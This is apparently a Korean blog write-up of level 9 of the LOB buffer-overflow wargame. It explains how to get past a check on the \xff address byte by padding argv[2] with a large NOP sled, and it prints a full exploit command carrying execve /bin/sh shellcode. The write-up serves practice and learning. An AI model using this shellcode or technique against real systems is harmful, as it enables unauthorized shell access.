본문 바로가기
Security/Pwnable

LOB Level 9 troll

by J0DEV 2021. 8. 9.
반응형

troll -> vampire 로 접속합니다.

 

소스파일을 봅시다.

 

우선 argc<2네요

 

어?argv[1][46] 이 \xff 이면 안되네요

 

이때까지 풀어올대 맨날 저 xff 가 나왔는데 

 

코드를 보니

 

argv[2]를 활용해서 풀어야 될듯 합니다.

 

하지만 리턴 어드레스를 설정해줄때  argv[2]의 주소가 0xbf'ff'~가 되면 안되겠네요

 

이때까지 푼 모든 문제에서 주소가 저런형태였는데...

 

해결방법을 생각하던 중

 

argv[2]의 값을 아주 많이 넣어주면 주소가 밀릴꺼라는 생각을 했습니다.

 

확인해보도록 하죠.

 

우선 더미값은 없네요

 

RET		4
SFT		4
BUFFER		40

입니다.

argv[2]의 주소가 변하는지 알아보기 위해 vampire.c를 복사하여

 

printf("0x%x\n", argv[2]);

코드를 삽입시켜 주소를 출력해줍시다.

 

 

 

99999번의 nop을 넣으니깐 0xbffe~로 되네요

 

 

 

 

 

25바이트의 쉘코드를 쓸거니깐

44바이트 쓰레기값 -> 4바이트의 argv[2]의 주소 +99974바이트의 쓰레기값 + 25바이트의 쉘코드

형태로 익스플로잇코드를 작성해서 카피한 파일에 시도하니 잘 되네요.

 

 

./vampire `python -c 'print "A"*44+"\x9b\x75\xfe\xbf"'` `python -c 'print "\x90"*99974 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

반응형

'Security > Pwnable' 카테고리의 다른 글

LOB Level 11 skeleton  (0) 2021.08.10
LOB Level 10 vampire  (0) 2021.08.09
LOB Level 8 orge  (0) 2021.08.09
LOB Level 7 darkelf  (0) 2021.08.09
LOB Level 6 wolfman  (0) 2021.08.09